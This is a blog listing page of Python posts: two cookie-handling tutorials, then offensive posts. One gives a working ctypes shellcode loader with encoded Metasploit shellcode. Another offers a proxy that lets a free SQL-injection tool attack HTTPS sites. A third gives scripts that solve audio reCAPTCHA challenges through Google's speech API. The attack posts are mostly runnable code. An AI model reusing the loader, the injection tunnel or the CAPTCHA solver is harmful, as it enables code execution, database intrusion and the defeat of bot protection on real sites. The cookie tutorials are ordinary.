Showing posts with label python. Show all posts

Using Python to set, retrieve and clear cookies

What are cookies?

Sometimes it's useful for a web site to store data on a user's computer. Some sites allow users to set preferences and options that control the way pages are displayed, or specifiy which categories a user is interested in. The BBC News web site uses cookies to store information about users' locations so that they can see local news from their region on the BBC News home page.
It would be risky to allow web sites to access files on a user's computer because malicious web sites could access users' personal data. Cookies are stored inside a web browser, so web sites can store information in them without needing access to files. Any malicious data put into cookies is contained and can't do any damage.

How do web servers set cookies?

Cookies are set and accessed by web servers when a user loads a page. When a web server receives a request from a web browser, it sends HTTP headers back to the browser, and then it sends the page that was requested. The HTTP headers are a series of text parameters sparated by carriage return and line feed characters. Cookies are set using the Set-Cookie parameter.
In a script, the simplest way to set headers is to print them before sending any other data. You must make sure there is an empty line after the headers and before the page content, hence the double "\r\n" at the end of the last header field:

#!/usr/bin/env python

print 'Content-Type: text/html\r\n'
print 'Set-Cookie: raspberrypi="Hello world"; \
expires=Wed, 28 Aug 2013 18:30:00 GMT\r\n\r\n'

print """
<html>
    <body>
        <h1>Some web page</h1>
    </body>
</html>
"""
Cookies have a name and a value. In the example above, the name of the cookie that's set is raspberrypi, and its value is "Hello world". They can have other attributes including:
  • domain: the domain name of the site setting the cookie,
  • path: the path that set cookie, or the path where a cookie is relevant,
  • expires: the expiry date when browsers should delete the cookie,
  • secure: if this field is set, the cookie should only be retrieved from a secure server using HTTPS. This ensures that cookies are encrypted when they are sent.

Setting cookies with Python

Python provides a library for handling cookies. The example below shows how to create a cookie, assign a value to it, and assign a value to the 'expires' attribute:

#!/usr/bin/env python

import Cookie

# create the cookie
c=Cookie.SimpleCookie()
# assign a value
c['raspberrypi']='Hello world'
# set the xpires time
c['raspberrypi']['expires']=1*1*3*60*60

# print the header, starting with the cookie
print c
print "Content-type: text/html\n"

# empty lines so that the browser knows that the header is over
print ""
print ""

# now we can send the page content
print """
<html>
    <body>
        <h1>The cookie has been set</h1>
    </body>
</html>
"""
After the cookie has been set up, instead of having to print the Set-Cookie directive explicitly, we can just print the variable c. In this example, the expires time is set to 10,800 seconds (3 hours) from the time the cookie was set. You can execute this script by following this link (if your browser has cookies enabled, this script will set a cookie in your bowser that contains the string "Hello world"):
raspberrywebserver.com/cgi-bin/examples/cookies.py See this page on Wikihow that shows you how to view cookies in different browsers.
You can see what the HTTP headers look like by using the wget command, which is usually used to download files from web sites. This command can be told to save headers using the --save-headers option:
$ wget --save-headers http://raspberrywebserver.com/cgi-bin/examples/cookies.py
This command will create a file called cookies.py in the directory where the command was run. If you open the file in a text editor, you'll see the headers followed by the content produced when the script is executed on a server.

Retrieving cookies

If you save data in cookies, you need to be able to retrieve that data. The following script will check to see if a cookie has been set in a browser:

#!/usr/bin/env python

import os
import Cookie

print "Content-type: text/html\n\n"

print """
<html>
<body>
<h1>Check the cookie</h1>
"""

if 'HTTP_COOKIE' in os.environ:
    cookie_string=os.environ.get('HTTP_COOKIE')
    c=Cookie.SimpleCookie()
    c.load(cookie_string)

    try:
        data=c['raspberrypi'].value
        print "cookie data: "+data+"<br>"
    except KeyError:
        print "The cookie was not set or has expired<br>"


print """
</body>
</html>

"""
The Python cookie library is used to create a cookie variable, and then the load function is used to get the cookie contents from the browser. Once it's been loaded the data contained in the cooke can be accessed. Clicking on the following link will execute the script and see if the cookie is set on your computer:
raspberrywebserver.com/cgi-bin/examples/checkcookie.py

Deleting cookies

Cookies can be cleared by setting their expires time to some time in the past. It's conventional to set them to midnight Thursday 1st January 1970. Web servers can't force browsers to clear cookies; they can only suggest that a browser deletes a cookie. Whether or not a cookie is actually deleted is up to the browser.
This script sets the expires time of a cookie in the past so that the cookie will be cleared:

#!/usr/bin/env python

import Cookie

import cgi

# set the cookie to expire
c=Cookie.SimpleCookie()
c['raspberrypi']=''
c['raspberrypi']['expires']='Thu, 01 Jan 1970 00:00:00 GMT'

# print the HTTP header
print c
print "Content-type: text/html\n\n"


print """
<html>
<body>
<h1>The cookie has been set to expire</h1>
</body>
</html>
"""
It also sets the value of the cookie to an empty string in case the browser doesn't delete the cookie. Click this link to clear the cookie from your browser (note that this works better in some browsers than others):
Read More

Python Set the Cookie


There are two basic cookie operations. The first is to set the cookie as an HTTP header to be sent to the client. The second is to read the cookie returned from the client also as an HTTP header.
This script will do the first one placing a cookie on the client's browser:
#!/usr/bin/env python
import time

# This is the message that contains the cookie
# and will be sent in the HTTP header to the client
print 'Set-Cookie: lastvisit=' + str(time.time());

# To save one line of code
# we replaced the print command with a '\n'
print 'Content-Type: text/html\n'
# End of HTTP header

print '<html><body>'
print 'Server time is', time.asctime(time.localtime())
print '</body></html>'
The Set-Cookie header contains the cookie. Save and run this code from your browser and take a look at the cookie saved there. Search for the cookie name, lastvisit, or for the domain name, or the server IP like 10.1.1.1 or 127.0.0.1.

The Cookie Object

The Cookie module can save us a lot of coding and errors and the next pages will use it in all cookie operations.
#!/usr/bin/env python
import time, Cookie

# Instantiate a SimpleCookie object
cookie = Cookie.SimpleCookie()

# The SimpleCookie instance is a mapping
cookie['lastvisit'] = str(time.time())

# Output the HTTP message containing the cookie
print cookie
print 'Content-Type: text/html\n'

print '<html><body>'
print 'Server time is', time.asctime(time.localtime())
print '</body></html>'
It does not seem as much for this extremely simple code, but wait until it gets complex and the Cookie module will be your friend.
Read More

Execute ShellCode Using Python

After writing shell code generally we use a C code like this to test our shell code.

char code[] = "shell code";
int main(int argc, char **argv)
{
  int (*func)();
  func = (int (*)()) code;
  (int)(*func)();
}

In this article I am going to show you, how can we use python and its "ctypes" library to execute a "calc.exe" shell code or any other shell code.ctypes is a foreign function library for Python. It provides C compatible data types, and allows calling functions in DLLs or shared libraries. It can be used to wrap these libraries in pure Python.

 I will be using six Win32 APIs to execute the shell code. These Win32 apis are very important in dynamic memory management on windows platform. Here ctype will help us to directly interact with these required APIs.

 The concept is like :

 1)  First VirtualAlloc() will allow us to create a new executable memory region and copy our shellcode to it, and after that execute it.
2)  VirtualLock() locks the specified region of the process's virtual address space into physical memory, ensuring that subsequent access to the region will not incur a page fault.
It accepts a pointer to the base address of the region of pages to be locked and the size of the region to be locked, in bytes.
A simple example of this function can be found here in MSDN:

 http://msdn.microsoft.com/en-us/library/windows/desktop/aa366549(v=vs.85).aspx

 3)  RtlMoveMemory() function accepts 3 arguments , a pointer to the destination (returned form virtualAlloc()), Pointer to the memory to be copied and the number of bytes to be copied.

 4)  CreateThread() accepts 6 arguments
In our case the third argument is very important.We need to pass a pointer to the application-defined function to be executed by the thread returned by VirtualAlloc().If the function succeeds, the return value is a handle to the new thread.

 5)  WaitForSingleObject() function accepts 2 arguments 1st one is the handle to the object (Returned by CreateThread()) and the time-out interval, in milliseconds. If a nonzero value is specified, the function waits until the object is signaled or the interval elapses.
API Description (Source : MSDN)

 VirtualAlloc function:
It reserves or commits a region of pages in the virtual address space of the calling process. Memory allocated by this function is automatically initialized to zero, unless MEM_RESET isspecified.

 Syntax:
LPVOID WINAPI VirtualAlloc(
  __in_opt  LPVOID lpAddress,
  __in      SIZE_T dwSize,
  __in      DWORD flAllocationType,
  __in      DWORD flProtect
);

 VirtualLock function:
It locks the specified region of the process's virtual address space into physical memory, ensuring that subsequent access to the region will not incur a page fault.

 Syntax:
BOOL WINAPI VirtualLock(
  __in  LPVOID lpAddress,
  __in  SIZE_T dwSize
);

 RtlMoveMemory routine:
The RtlMoveMemory routine moves memory either forward or backward, aligned or unaligned, in 4-byte blocks, followed by any remaining bytes.

 Syntax:
VOID RtlMoveMemory(
  __in  VOID UNALIGNED *Destination,
  __in  const VOID UNALIGNED *Source,
  __in  SIZE_T Length
);

 CreateThread function:
Creates a thread to execute within the virtual address space of the calling process.

 Syntax:
HANDLE WINAPI CreateThread(
  __in_opt   LPSECURITY_ATTRIBUTES lpThreadAttributes,
  __in       SIZE_T dwStackSize,
  __in       LPTHREAD_START_ROUTINE lpStartAddress,
  __in_opt   LPVOID lpParameter,
  __in       DWORD dwCreationFlags,
  __out_opt  LPDWORD lpThreadId
);

 WaitForSingleObject function:
Waits until the specified object is in the signaled state or the time-out interval elapses.

 Syntax:
DWORD WINAPI WaitForSingleObject(
  __in  HANDLE hHandle,
  __in  DWORD dwMilliseconds
);

 The python code goes here.

#!/usr/bin/python
import ctypes
#ShellCode
#x86/shikata_ga_nai succeeded with size 227 (iteration=1)
#Metasploit windows/exec calc.exe
shellcode = bytearray(
"\xdb\xc3\xd9\x74\x24\xf4\xbe\xe8\x5a\x27\x13\x5f\x31\xc9" 
"\xb1\x33\x31\x77\x17\x83\xc7\x04\x03\x9f\x49\xc5\xe6\xa3" 
"\x86\x80\x09\x5b\x57\xf3\x80\xbe\x66\x21\xf6\xcb\xdb\xf5" 
"\x7c\x99\xd7\x7e\xd0\x09\x63\xf2\xfd\x3e\xc4\xb9\xdb\x71" 
"\xd5\x0f\xe4\xdd\x15\x11\x98\x1f\x4a\xf1\xa1\xd0\x9f\xf0" 
"\xe6\x0c\x6f\xa0\xbf\x5b\xc2\x55\xcb\x19\xdf\x54\x1b\x16" 
"\x5f\x2f\x1e\xe8\x14\x85\x21\x38\x84\x92\x6a\xa0\xae\xfd" 
"\x4a\xd1\x63\x1e\xb6\x98\x08\xd5\x4c\x1b\xd9\x27\xac\x2a" 
"\x25\xeb\x93\x83\xa8\xf5\xd4\x23\x53\x80\x2e\x50\xee\x93" 
"\xf4\x2b\x34\x11\xe9\x8b\xbf\x81\xc9\x2a\x13\x57\x99\x20" 
"\xd8\x13\xc5\x24\xdf\xf0\x7d\x50\x54\xf7\x51\xd1\x2e\xdc" 
"\x75\xba\xf5\x7d\x2f\x66\x5b\x81\x2f\xce\x04\x27\x3b\xfc" 
"\x51\x51\x66\x6a\xa7\xd3\x1c\xd3\xa7\xeb\x1e\x73\xc0\xda" 
"\x95\x1c\x97\xe2\x7f\x59\x67\xa9\x22\xcb\xe0\x74\xb7\x4e" 
"\x6d\x87\x6d\x8c\x88\x04\x84\x6c\x6f\x14\xed\x69\x2b\x92" 
"\x1d\x03\x24\x77\x22\xb0\x45\x52\x41\x57\xd6\x3e\xa8\xf2" 
"\x5e\xa4\xb4")
 
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
                                          ctypes.c_int(len(shellcode)),
                                          ctypes.c_int(0x3000),
                                          ctypes.c_int(0x40))
 
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
 
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(ptr),
                                     buf,
                                     ctypes.c_int(len(shellcode)))
 
ht = ctypes.windll.kernel32.CreateThread(ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.c_int(ptr),
                                         ctypes.c_int(0),
                                         ctypes.c_int(0),
                                         ctypes.pointer(ctypes.c_int(0)))
 
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(ht),ctypes.c_int(-1))
Read More

HTTP to HTTPS Proxy Tunnel using Python

From title you might think that its a useless piece of code.But let me tell you its not.I dint write this to timepass.A a pretty much good automated SQLi tool called Havij(Hope you guys are already familiar with) forced me to write this. Not exactly but its a kind of an external plugin for the tool Havij(Free Version).


 Havij is an automated SQL Injection tool.No doubt its a great tool for doing automated SQL injection.But one problem with this tool is its not fully free! :(
The free version also has many great features but one problem I have faced while using this free version that is,it does not allows users to scan/run database enumeration on sites which uses SSL (https://) :(

 So to overcome this limitation I have decided to write a proxy for it. But this proxy is not like most common http proxies. This proxy can be used to scan a ssl enabled site using Free Version of Havij.
Suppose you wanna try SQLi on "https://www.target.com/search.php?name=debasish" using Havij.So when you try to fire a scan using Havij you get an error like 
"Havij Free does not allow https://".blah blah ....

So to overcome this limitation what you have to do is :

   1. Configure your Havij Free to use a http proxy 127.0.0.1:8080 while scanning.
  2. Run this python script.(It will start a proxy server on port 127.0.0.1:8080)
  3. In the target field of Havij instead of entering "https://www.target.com.search.php?name=debasish" you need to add "http://www.target.com/search.php?name=debasish".So when you start scanning through havij the proxy script will do following:

        3.1. Take plain http request(SQLi request) from Havij.2
       3.2. Create a SSL connection to target.3
       3.3. Forward the same request received from Havij to target server.
       3.4. After receiving the response from server through secure shell it will feed the response to Havij.

 This proxy is not suitable for web browsing. You will face some problems. Normal request/response generally used for SQLi it can handle. But one bad thing about this script is,it will make the speed of you SQLi process bit slower. It has the ability to handle gzip compressed response.

 So here is the code: Enjoy SQLi on SSL sites using Havij Free!I dint test it much, so let me know if it is not working properly. 
#This is a tiny http proxy server which accept requests in plain http and tunnel the traffic through SSL(HTTPS)
#Author : Debasish Mandal.
#Authors Blog : http://www.debasish.in/
import SocketServer,urllib,httplib,gzip,StringIO

def decode_gzip(compresseddata):
    	compressedstream = StringIO.StringIO(compresseddata)
    	gzipper = gzip.GzipFile(fileobj = compressedstream)
    	return gzipper.read()	
def craft_res(code,reason,ver,res_head,res_body):
	if ver == 10:
		http_ver = "HTTP/1.0"
	if ver == 11:
		http_ver = "HTTP/1.1"
	head_buff = ''
	for i in range(0,len(res_head)):
        	e1 =  res_head[i]
		if e1[1] == "gzip":
			res_body = decode_gzip(res_body)
        	head_buff += e1[0]+": "+e1[1]+"\r\n"
	head_buff = head_buff.replace('\r\ncontent-encoding: gzip','')
	final_res = http_ver+" "+str(code)+" "+reason+"\r\n"+head_buff+"\r\n\r\n"+res_body
	return final_res

def fire_request(HOST,method,path,headers,params):
	print method,HOST,path,params
	conn = httplib.HTTPSConnection(HOST)
    	conn.request(method, path, params, headers)
    	response = conn.getresponse()
    	return craft_res(response.status,response.reason,response.version,response.getheaders(),response.read())

def parsebody(bdy):				
	bodypart = bdy.split('&',bdy.count('&'))
	encode_body = {}			
	for i in range(0, bdy.count('&')+1):				
		encode_body[bodypart[i].split('=',1)[0]] = bodypart[i].split('=',1)[1]
	return encode_body
def parseheader(head,body):
	c1 = head.split('\n',head.count('\n'))
	method = c1[0].split(' ',2)[0]				
	path = c1[0].split(' ',2)[1]
	headers = {}
	for i in range(1, head.count('\n')+1):
		c1[i] = c1[i].replace('\r','')
		slice1 = c1[i].split(': ',1)
		headers[slice1[0]] = slice1[1]
	if body != "":
		body = parsebody(body)
		body = urllib.urlencode(body)
	HOST = headers['Host']
	return HOST,method,path,headers,body
def send(r_header,r_body):
	info = parseheader(r_header,r_body)
	return fire_request(info[0],info[1],info[2],info[3],info[4])

class MyTCPHandler(SocketServer.BaseRequestHandler):
	def handle(self):
        	self.data = self.request.recv(1024).strip()	
        	rcvd = self.data
		if rcvd[:3] == "POS":
			post = rcvd.split('\r\n\r\n',1)
			all = send(post[0],post[1])
		else:
			all = send(rcvd,"")
		self.request.sendall(all)
if __name__ == "__main__":
	HOST, PORT = '', 8080
    	server = SocketServer.TCPServer((HOST, PORT), MyTCPHandler)
	print "[*] Proxy Server Started(Tunneling HTTP to HTTPS).Listening on",PORT
	server.serve_forever()
Read More

Attacking Audio "reCaptcha" using Google's Web Speech API

I had a fun project months back, Where I had to deal with digital signal processing and low level audio processing. I was never interested in DSP and all other control system stuffs, But when question arises about breaking things, every thing becomes interesting :) . In this post i'm going to share one technique to fully/ partially bypass reCaptcha test. This is not actually a vulnerability but its better if we call it "Abuse of functionality".

Disclaimer : Please remember this information is for Educational Purpose only and should not be used for malicious purpose. I will not assume any liability or responsibility to any person or entity with respect to loss or damages incurred from information contained in this article.

1. What is Captcha

A CAPTCHA is a program that protects websites against bots by generating and grading tests that humans can pass but current computer programs cannot. The term CAPTCHA (for Completely Automated Public Turing Test To Tell Computers and Humans Apart) was coined in 2000 by Luis von Ahn, Manuel Blum, Nicholas Hopper and John Langford of Carnegie Mellon University.

2. What is Re-captcha

reCAPTCHA is a free CAPTCHA service by Google, that helps to digitize books, newspapers and old time radio shows. More details can be found here.

3. Audio reCaptcha

reCAPTCHA also comes with an audio test to ensure that blind users can freely navigate.

4. Main Idea: Attacking Audio reCaptcha using Google's Web Speech API Service


5. Google Web Speech API

Chrome has a really interesting new feature for HTML5 speech input API. Using this user can talk to computer using microphone and Chrome will interpret it. This feature is also available for Android devices. If you are not aware of this feature you can find a live demo here.

https://www.google.com/intl/en/chrome/demos/speech.html
I was always very curious about the Speech recognition API of chrome. I tried sniff the api/voice traffic using Wireshirk but this API uses SSL. :(.

So finally I started browsing the Chromium source code repo. Finally I found exactly what I wanted.

http://src.chromium.org/viewvc/chrome/trunk/src/content/browser/speech/
It pretty simple, First the audio is collected from the mic, and then it posts it to Google web service, which responds with a JSON object with the results.  The URL which handles the request is :

https://www.google.com/speech-api/v1/recognize

Another important thing is this api only accepts flac audio format.

6. Programatically Accessing Google Web Speech API(Python)

Below python script was written to send a flac audio file to Google Web Speech API and print out the JSON response.

./google_speech.py hello.flac

 
'''
Accessing Google Web Speech API using Pyhon
Author : Debasish Mandal

'''

import httplib
import sys

print '[+] Sending clean file to Google voice API'
f = open(sys.argv[1])
data = f.read()
f.close()
google_speech = httplib.HTTPConnection('www.google.com')
google_speech.request('POST','/speech-api/v1/recognize?xjerr=1&client=chromium&lang=en-US',data,{'Content-type': 'audio/x-flac; rate=16000'})
print google_speech.getresponse().read()
google_speech.close()

7. Thoughts on complexity of reCaptcha Audio Challenges

While dealing with audio reCaptcha, you may know , it basically gives two types of audio challenges. One is pretty clean and simple (Example : https://dl.dropboxusercontent.com/u/107519001/easy.wav) . percentage of noise is very less in this type of challenges. 

 Another one is very very noisy and its very difficult for even human to guess (Example : https://dl.dropboxusercontent.com/u/107519001/difficult.wav). Constant hissss noise and overlapping voice makes it really difficult to crack human. You may wanna read this discussion on complexity of audio reCapctha.

 In this post I will mainly cover the technique / tricks to solve the easier one using Google Speech API. Although I've tried several approaches to solve the complex one, but as I've already said, its very very had to guess digits even for human :( .

8. Cracking the Easy Captcha Manually Using Audacity and Google Speech API

Google Re-captcha allows user to download audio challenges in mp3 format. And Google web speech API accepts audio in flac format. So if we just normally convert the mp3 audio challenge to flac format of frame rate 16000 its does not work :( .  Google Chrome Speech to text api does not respond to this sound.

But after some experiment and head scratching, it was found that we can actually make Google web speech api convert the easy captcha challenge to text for us, if we can process the audio challenge little bit. In this section i will show how this audio manipulation can be done using Audacity.

To manually verify that first I'm going to use a tool called Audacity to do necessary changes to the downloaded mp3 file. 

Step 1: Download the challenge as mp3 file.
Step 2: Open the challenge audio in Audacity.



Step 3: Copy the first digit speaking sound from main window and paste it in a new window. So here we will only have a one digit speaking sound.

Step 4: From effect option make it repetitive once. (Now It should speak the same digit twice).

Lets say for example if the main challenge is  7 6 2 4 6, Now we have only first digit challenge in wav format which having the digit 7 twice.




Step 5: Export the updated audio in WAV format.
Step 6: Now convert the wav file to flac format using sox tool and send it to Google speech server using the python script posted in section 6. And we will see something like this.

Note: In some cases little bit amplification might be required if voice strength is too low.

debasish@debasish ~/Desktop/audio/heart attack/final $ sox cut_0.wav -r 16000 -b 16 -c 1 cut_0.flac lowpass -2 2500
debasish@debasish ~/Desktop/audio/heart attack/final $ python send.py cut_0.flac 

Great! As you can see first digit of the audio challenge has been resolved by Google Speech. :) :) :) Now in same manner we can solve the entire challenge. In next section we will automate the same thing using python and it's wave module. 

9. Automation using Python and it's WAVE Module

Before we jump into processing of raw WAV audio using low level python API, its important to have some idea of how digital audio actually works. In above process we've extracted the most louder voices using audacity but to do it automatically using python, we must have some understanding of how digital audio is actually represented in numbers.

9.1. How is audio represented with numbers

There is an excellent stackoverflow post which explains the same. In short ,we can say audio is nothing but a vibration. Typically, when we're talking about vibrations of air between approximately 20Hz and 20,000Hz. Which means the air is moving back and forth 20 to 20,000 times per second. If somehow we can measure that vibration and convert it to an electrical signal using a microphone, we'll get an electrical signal with the voltage varying in the same waveform as the sound. In our pure-tone hypothetical, that waveform will match that of the sine function.
Now, we have an analogue signal, the voltage. Still not digital. But, we know this voltage varies between (for example) -1V and +1V. We can, of course, attach a volt meter to the wires and read the voltage.  Arbitrarily, we'll change the scale on our volt meter. We'll multiple the volts by 32767. It now calls -1V -32767 and +1V 32767. Oh, and it'll round to the nearest integer.
Now after having a set of signed integers we can easily draw an waveform using the data sets.

X axis -> Time
Y axis -> Amplitude (signed integers)



Now, if we attach our volt meter to a computer, and instruct the computer to read the meter 44,100 times per second. Add a second volt meter (for the other stereo channel), and we now have the data that goes on an audio CD. This format is called stereo 44,100 Hz, 16-bit linear PCM. And it really is just a bunch of voltage measurements.

9.2. WAVE File Format walk through using Python

As an example lets open up a very small wav file with a hex editor.
  

9.3. Parsing the same WAV file using Python

The wave module provides a convenient interface to the WAV sound format. It does not support compression/decompression, but it does support mono/stereo. Now we are going to parse the same wav file using python wave module and try to relate what we have just seen in hex editor.
Let's write a python script:
import wave 
f = wave.open('sample.wav', 'r') 
print '[+] WAV parameters ',f.getparams() 
print '[+] No. of Frames ',f.getnframes() 
for i in range(f.getnframes()): 
    single_frame = f.readframes(1) 
    print single_frame.encode('hex') 
f.close()
Line 1 imports python wav module.
Line 2: Opens up the sample.wav file.
Line 3: getparams() routine returns a tuple (nchannels, sampwidth, framerate, nframes, comptype, compname), equivalent to output of the get*() methods.
Line 4: getnframes() returns number of audio frames.
Line 5,6,7: Now we are iterating through all the frames present in the sample.wav file and printing them one by one.
Line 8: Closes the opened file

Now if we run the script we will find something like this:

[+] WAV parameters (1, 2, 44100, 937, 'NONE', 'not compressed')
[+] No. of Frames 937
[+] Sample 0 = 62fe    <- Sample 1
[+] Sample 1 = 99fe   <- Sample 2
[+] Sample 2 = c1ff    <- Sample 3
[+] Sample 3 = 9000
[+] Sample 4 = 8700
[+] Sample 5 = b9ff
[+] Sample 6 = 5cfe
[+] Sample 7 = 35fd
[+] Sample 8 = b1fc
[+] Sample 9 = f5fc
[+] Sample 10 = 9afd
[+] Sample 11 = 3cfe
[+] Sample 12 = 83fe
[+] ....
and so on,

It should make sense now. In first line we get number of channels, sample width , frame/sample rate,total number of frames etc etc. Which is exact same what we saw in the hex editor (Section 9.2). From second line it stars printing the frames/sample which is also same as what we have seen in hex editor. Each channel is 2 bytes long because the audio is 16 bit. Each channel will only be one byte. We can use the getsampwidth() method to determine this. Also, getchannels() will determine if its mono or stereo.

Now its time to decode each and every frames of that file. They're actually little-endian. So we will now modify the python script little bit so that we can get the exact value of each frame. We can use python struct module to decode the frame values to signed integers.
import wave 
import struct 

f = wave.open('sample.wav', 'r') 
print '[+] WAV parameters ',f.getparams() 
print '[+] No. of Frames ',f.getnframes() 
for i in range(f.getnframes()): 
    single_frame = f.readframes(1) 
    sint = struct.unpack('<h', single_frame) [0]
    print "[+] Sample ",i," = ",single_frame.encode('hex')," -> ",sint[0] 
f.close()


This script will print something like this:

[+] WAV parameters (1, 2, 44100, 937, 'NONE', 'not compressed')
[+] No. of Frames 937
[+] Sample 0 = 62fe -> -414
[+] Sample 1 = 99fe -> -359
[+] Sample 2 = c1ff -> -63
[+] Sample 3 = 9000 -> 144
[+] Sample 4 = 8700 -> 135
[+] Sample 5 = b9ff -> -71
[+] Sample 6 = 5cfe -> -420
[+] Sample 7 = 35fd -> -715
[+] Sample 8 = b1fc -> -847
[+] Sample 9 = f5fc -> -779
[+] Sample 10 = 9afd -> -614
[+] Sample 11 = 3cfe -> -452
[+] Sample 12 = 83fe -> -381
[+] Sample 13 = 52fe -> -430
[+] Sample 14 = e2fd -> -542

Now what we can see we have a set of positive and negative integers. Now you should be able to connect the dots. What I have explained in section 9.1. 

 So now if we plot the same positive and negative values in a graph will find complete wave form. Lets do it using python matlab module.

import wave 
import struct 
import matplotlib.pyplot as plt 

data_set = [] 
f = wave.open('sample.wav', 'r') 
print '[+] WAV parameters ',f.getparams() 
print '[+] No. of Frames ',f.getnframes() 
for i in range(f.getnframes()): 
    single_frame = f.readframes(1)
    sint = struct.unpack('<h', single_frame)[0]
    data_set.append(sint) 
f.close() 
plt.plot(data_set) 
plt.ylabel('Amplitude')
plt.xlabel('Time') 
plt.show()


This should form following graph
Now you must be familiar with this type of graph. This is what you see in SoundCloud, But definitely more complex one.
So now we have clear understanding of how audio represented in numbers. Now it will be easier for readers to understand how the python script ( shared in section 9.3 ) actually works.

9.3. Python Script

In this section we will develop a script which automate the steps we did using Audacity in Section 8. Below python script will try extract loud voices from input wav file and generate separate wav files.
view raw captcha_split.py hosted with ❤ by GitHub



Once the main challenge is broken into parts we can easily convert it to flac format and send each parts of the challenge to Google speech API using the Python script shared in section 6.

9.4. Demo:


10. Attempt to Crack the Difficult(noisy) audio challenge

So we have successfully broken down the easy challenge.Now its time to give the difficult one a try. So I started with one noisy captcha challenge. You can see the matlab plot of the same noisy audio challenge below.

In above figure we can understand presence of a constant hisss noise. One of the standard ways to analyze sound is to look at the frequencies that are present in a sample. The standard way of doing that is with a discrete Fourier transform using the fast Fourier transform or FFT algorithm. What these basically in this case is to take a sound signal isolate the frequencies of sine waves that make up that sound.

10.1. Signal Filtering using Fourier Transform

Lets get started with a  simple example. Consider a signal consisting of a single sine wave, s(t)=sin(w∗t). Let the signal be subject to white noise which is added in during measurement, Smeasured(t)=s(t)+n. Let F be the Fourier transform of S. Now by setting the value of F to zero for frequencies above and below w, the noise can be reduced. Let Ffiltered be the filtered Fourier transform. Taking the inverse Fourier transform of Ffiltered yields Sfiltered(t). 
The way to filter that sound is to set the amplitudes of the fft values around X Hz to 0. In addition to filtering this peak, It's better to remove the frequencies below the human hearing range and above the normal human voice range. Then we recreate the original signal via an inverse FFT.
I have written couple of scripts which successfully removes the constant hiss noise from the audio file but main challenge is the overlapping voice. Over lapping voice makes it very very difficult even for human to guess digits. Although I was not able to successfully crack any of given difficult challenges using Google Speech API still I've shared few noise removal scrips (using Fourier Transform). 
These scripts can be found in the GitHub project page. There is tons of room for improvement of all this scripts.

11. Code Download

Every code I've written during this project is hosted here:  

12. Conclusion

When I reported this issue to Google security team, they've confirmed that, this mechanism is working as intended. The more difficult audio patterns are only triggered only when abuse/non-human interaction is suspected. So as per the email communication noting is going to be changed to stop this.

Thanks for reading. I hope you have enjoyed. Please drop me an email/comment in case of any doubt and confusion.

13. References

http://rsmith.home.xs4all.nl/miscellaneous/filtering-a-sound-recording.html
http://www.topherlee.com/software/pcm-tut-wavformat.html
http://exnumerus.blogspot.in/2011/12/how-to-remove-noise-from-signal-using.html
http://www.swharden.com/blog/2009-01-21-signal-filtering-with-python/
'''
Quick and dirty way to generate separate wav files depending on the loud voice detected in audio captcha challenge.
Lots of room for improvement.

What is Does:

1. Minor noise removal.
2. Detect louder voices in input wav file
3. Depending on the number of loud voice detected it splits the main wav file.

'''
import wave
import sys
import struct
import os
import time
import httplib
from random import randint
ip = wave.open(sys.argv[1], 'r')
info = ip.getparams()
frame_list = []
for i in range(ip.getnframes()):
sframe = ip.readframes(1)
amplitude = struct.unpack('<h', sframe)[0]
frame_list.append(amplitude)
ip.close()
for i in range(0,len(frame_list)):
if abs(frame_list[i]) < 25:
frame_list[i] = 0
################################ Find Out most louder portions of the audio file ###########################
thresh = 30
output = []
nonzerotemp = []
length = len(frame_list)
i = 0
while i < length:
zeros = []
while i < length and frame_list[i] == 0:
i += 1
zeros.append(0)
if len(zeros) != 0 and len(zeros) < thresh:
nonzerotemp += zeros
elif len(zeros) > thresh:
if len(nonzerotemp) > 0 and i < length:
output.append(nonzerotemp)
nonzerotemp = []
else:
nonzerotemp.append(frame_list[i])
i += 1
if len(nonzerotemp) > 0:
output.append(nonzerotemp)
chunks = []
for j in range(0,len(output)):
if len(output[j]) > 3000:
chunks.append(output[j])
#########################################################################################################
for l in chunks:
for m in range(0,len(l)):
if l[m] == 0:
l[m] = randint(-0,+0)
inc_percent = 1 #10 percent
for l in chunks:
for m in range(0,len(l)):
if l[m] <= 0:
# negative value
l[m] = 0 - abs(l[m]) + abs(l[m])*inc_percent/100
else:
#positive vaule
l[m] = abs(l[m]) + abs(l[m])*inc_percent/100
########################################################
# Below code generates separate wav files depending on the number of loud voice detected.
NEW_RATE = 1 #Change it to > 1 if any amplification is required
print '[+] Possibly ',len(chunks),'number of loud voice detected...'
for i in range(0, len(chunks)):
new_frame_rate = info[0]*NEW_RATE
print '[+] Creating No. ',str(i),'file..'
split = wave.open('cut_'+str(i)+'.wav', 'w')
split.setparams((info[0],info[1],info[2],0,info[4],info[5]))
# split.setparams((info[0],info[1],new_frame_rate,0,info[4],info[5]))
#Add some silence at start selecting +15 to -15
for k in range(0,10000):
single_frame = struct.pack('<h', randint(-25,+25))
split.writeframes(single_frame)
# Add the voice for the first time
for frames in chunks[i]:
single_frame = struct.pack('<h', frames)
split.writeframes(single_frame)
#Add some silence in between two digits
for k in range(0,10000):
single_frame = struct.pack('<h', randint(-25,+25))
split.writeframes(single_frame)
# Repeat effect : Add the voice second time
for frames in chunks[i]:
single_frame = struct.pack('<h', frames)
split.writeframes(single_frame)
#Add silence at end
for k in range(0,10000):
single_frame = struct.pack('<h', randint(-25,+25))
split.writeframes(single_frame)
split.close()#Close each files
Read More
Subscribe to: Posts ( Atom )